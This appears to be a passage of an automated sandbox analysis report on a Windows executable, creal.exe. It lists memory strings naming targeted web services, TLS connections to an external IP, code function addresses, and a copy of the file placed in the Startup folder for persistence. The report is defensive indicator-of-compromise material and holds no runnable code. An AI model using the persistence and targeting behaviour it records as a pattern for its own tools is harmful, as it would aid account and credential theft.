Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com)z
Source: creal.exe, 00000002.00000003.1541014652.00000185BB3A8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1519430974.00000185BB3A1000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515166540.00000185BB39C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542006425.00000185BC7A1000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1518329891.00000185BB39D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1522000277.00000185BC7A0000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1521844215.00000185BB3A6000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458858671.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507238550.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://uber.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uber.com)z
Source: creal.exe, 00000002.00000002.1563707554.00000185BBF60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://upload.pypi.org/legacy/
Source: creal.exe, 00000002.00000002.1572428331.00000185BD000000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: creal.exe, 00000002.00000002.1572428331.00000185BD000000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: creal.exe, 00000002.00000003.1527458874.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1517379426.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1544154689.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1520179344.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1560848906.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www-cs-faculty.stanford.edu/~knuth/fasc2a.ps.gz
Source: creal.exe, 0000001A.00000003.1547927371.0000025EFD913000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 0000001A.00000003.1548158241.0000025EFD913000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
Source: creal.exe, 00000002.00000002.1563554021.00000185BBF4A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1552172208.00000185BBF4A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBF48000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507461152.00000185BBF48000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1545323606.00000185BBF4A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1535155436.00000185BBF49000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542684676.00000185BBF4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ietf.org/rfc/rfc2898.txt
Source: creal.exe, 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmp, creal.exe, 00000002.00000002.1583155038.00007FF8E7783000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: creal.exe, 00000002.00000003.1546125342.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508070108.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1549126696.00000185BBEFF000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1544750806.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1534642652.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1530994321.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1546275794.00000185BBEFB000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542135168.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515797188.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org
Source: creal.exe, 00000002.00000003.1519492705.00000185BC7A3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458858671.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507238550.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: creal.exe, 00000002.00000002.1554844146.00000185BB180000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: creal.exe, 00000002.00000002.1585980750.00007FF8E7D4B000.00000008.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: creal.exe, 00000002.00000002.1584456751.00007FF8E7BD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://xbox.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xbox.com)z
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com)z
Source: creal.exe, 00000002.00000003.1552936616.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1518240184.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458778204.00000185BB83D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1558249126.00000185BB844000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1531732077.00000185BB844000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514920740.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1531272524.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514358388.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com)z

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921

Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.9:49934 version: TLS 1.2

Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A6273BC	0_2_00007FF67A6273BC
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A626470	0_2_00007FF67A626470
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A607960	0_2_00007FF67A607960
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A617F4C	0_2_00007FF67A617F4C
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A6123A4	0_2_00007FF67A6123A4
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A621038	0_2_00007FF67A621038
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A624380	0_2_00007FF67A624380
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A611B84	0_2_00007FF67A611B84
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A61EC30	0_2_00007FF67A61EC30
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A613BE4	0_2_00007FF67A613BE4
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A61A530	0_2_00007FF67A61A530
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A6121A0	0_2_00007FF67A6121A0
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A611980	0_2_00007FF67A611980
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A611F94	0_2_00007FF67A611F94
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A601F50	0_2_00007FF67A601F50
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A616030	0_2_00007FF67A616030
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A62481C	0_2_00007FF67A62481C
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A6137E0	0_2_00007FF67A6137E0
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A621FE4	0_2_00007FF67A621FE4
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A6187D0	0_2_00007FF67A6187D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A617F4C	0_2_00007FF67A617F4C
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A621038	0_2_00007FF67A621038
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A61E11C	0_2_00007FF67A61E11C
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A62A0F8	0_2_00007FF67A62A0F8
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A6090D0	0_2_00007FF67A6090D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A61E5B0	0_2_00007FF67A61E5B0
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A617D98	0_2_00007FF67A617D98
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A611D90	0_2_00007FF67A611D90
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A626E70	0_2_00007FF67A626E70
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A612E50	0_2_00007FF67A612E50
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A6266EC	0_2_00007FF67A6266EC
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68D1630	2_2_00007FF8E68D1630
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E692B060	2_2_00007FF8E692B060
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68C9060	2_2_00007FF8E68C9060
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6932BB0	2_2_00007FF8E6932BB0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68C9AB0	2_2_00007FF8E68C9AB0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68E0790	2_2_00007FF8E68E0790
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69527A0	2_2_00007FF8E69527A0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68FF7D0	2_2_00007FF8E68FF7D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B47C0	2_2_00007FF8E68B47C0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68DD7C0	2_2_00007FF8E68DD7C0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B77C4	2_2_00007FF8E68B77C4
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6954750	2_2_00007FF8E6954750
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69258A0	2_2_00007FF8E69258A0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E695E8E0	2_2_00007FF8E695E8E0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68CC800	2_2_00007FF8E68CC800
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B282E	2_2_00007FF8E68B282E
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E695C870	2_2_00007FF8E695C870
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68F4590	2_2_00007FF8E68F4590
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69585B0	2_2_00007FF8E69585B0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6922580	2_2_00007FF8E6922580
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69535D0	2_2_00007FF8E69535D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B4510	2_2_00007FF8E68B4510
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E690B530	2_2_00007FF8E690B530
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68DC530	2_2_00007FF8E68DC530
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68C66F0	2_2_00007FF8E68C66F0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69576C0	2_2_00007FF8E69576C0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B9640	2_2_00007FF8E68B9640
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69133B0	2_2_00007FF8E69133B0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6954330	2_2_00007FF8E6954330
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68C3490	2_2_00007FF8E68C3490
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B74B1	2_2_00007FF8E68B74B1
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E690A490	2_2_00007FF8E690A490
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68DE4D0	2_2_00007FF8E68DE4D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69111D0	2_2_00007FF8E69111D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E691A110	2_2_00007FF8E691A110
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B3295	2_2_00007FF8E68B3295
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E694A280	2_2_00007FF8E694A280
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68D72D0	2_2_00007FF8E68D72D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68D62F0	2_2_00007FF8E68D62F0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E690EFB0	2_2_00007FF8E690EFB0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68CBFA0	2_2_00007FF8E68CBFA0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6959FE0	2_2_00007FF8E6959FE0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68DCFE0	2_2_00007FF8E68DCFE0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68C7F60	2_2_00007FF8E68C7F60
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69620B0	2_2_00007FF8E69620B0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B40B0	2_2_00007FF8E68B40B0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69710E0	2_2_00007FF8E69710E0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68F9010	2_2_00007FF8E68F9010
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B7030	2_2_00007FF8E68B7030
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68C1060	2_2_00007FF8E68C1060
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6909D80	2_2_00007FF8E6909D80
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E694FD80	2_2_00007FF8E694FD80
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68BBDA0	2_2_00007FF8E68BBDA0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68FDDA0	2_2_00007FF8E68FDDA0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68CCDE0	2_2_00007FF8E68CCDE0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6945EF0	2_2_00007FF8E6945EF0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E691AE70	2_2_00007FF8E691AE70
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68EBB91	2_2_00007FF8E68EBB91
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68F3BA0	2_2_00007FF8E68F3BA0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B3BC0	2_2_00007FF8E68B3BC0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6945B00	2_2_00007FF8E6945B00
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68F6B40	2_2_00007FF8E68F6B40
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68B9C80	2_2_00007FF8E68B9C80
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68D8CB0	2_2_00007FF8E68D8CB0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68BFC70	2_2_00007FF8E68BFC70
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E692099B	2_2_00007FF8E692099B
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68FE990	2_2_00007FF8E68FE990
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68D3980	2_2_00007FF8E68D3980
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68BA940	2_2_00007FF8E68BA940
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68E5960	2_2_00007FF8E68E5960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6915A40	2_2_00007FF8E6915A40
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F01FD0	2_2_00007FF8E6F01FD0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F02430	2_2_00007FF8E6F02430
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F14820	2_2_00007FF8E6F14820
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F145D0	2_2_00007FF8E6F145D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F21D80	2_2_00007FF8E6F21D80
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F224A0	2_2_00007FF8E6F224A0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F229C0	2_2_00007FF8E6F229C0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F22EC0	2_2_00007FF8E6F22EC0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F23550	2_2_00007FF8E6F23550
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F21FF0	2_2_00007FF8E6F21FF0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F32110	2_2_00007FF8E6F32110
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F31D40	2_2_00007FF8E6F31D40
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F41F10	2_2_00007FF8E6F41F10
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F421C0	2_2_00007FF8E6F421C0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F61FA0	2_2_00007FF8E6F61FA0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F71F40	2_2_00007FF8E6F71F40
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F72050	2_2_00007FF8E6F72050
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F81D40	2_2_00007FF8E6F81D40
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F822D0	2_2_00007FF8E6F822D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F92160	2_2_00007FF8E6F92160
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FA2070	2_2_00007FF8E6FA2070
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FC2220	2_2_00007FF8E6FC2220
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7007C38	2_2_00007FF8E7007C38
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E70218A0	2_2_00007FF8E70218A0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E70212F0	2_2_00007FF8E70212F0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E714C480	2_2_00007FF8E714C480
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7150980	2_2_00007FF8E7150980
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7171000	2_2_00007FF8E7171000
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71712B0	2_2_00007FF8E71712B0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71718E0	2_2_00007FF8E71718E0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7197BF0	2_2_00007FF8E7197BF0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7197FC9	2_2_00007FF8E7197FC9
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7215DC0	2_2_00007FF8E7215DC0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1B54	2_2_00007FF8E71D1B54
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1172	2_2_00007FF8E71D1172
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E724A740	2_2_00007FF8E724A740
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1D98	2_2_00007FF8E71D1D98
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1EE7	2_2_00007FF8E71D1EE7
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71F6290	2_2_00007FF8E71F6290
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1AD7	2_2_00007FF8E71D1AD7
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D2716	2_2_00007FF8E71D2716
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D06470	26_2_00007FF7C3D06470
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D073BC	26_2_00007FF7C3D073BC
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CE7960	26_2_00007FF7C3CE7960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF7F4C	26_2_00007FF7C3CF7F4C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CFEC30	26_2_00007FF7C3CFEC30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF3BE4	26_2_00007FF7C3CF3BE4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF23A4	26_2_00007FF7C3CF23A4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D01038	26_2_00007FF7C3D01038
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF1B84	26_2_00007FF7C3CF1B84
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D04380	26_2_00007FF7C3D04380
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF21A0	26_2_00007FF7C3CF21A0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CF1980	26_2_00007FF7C3CF1980
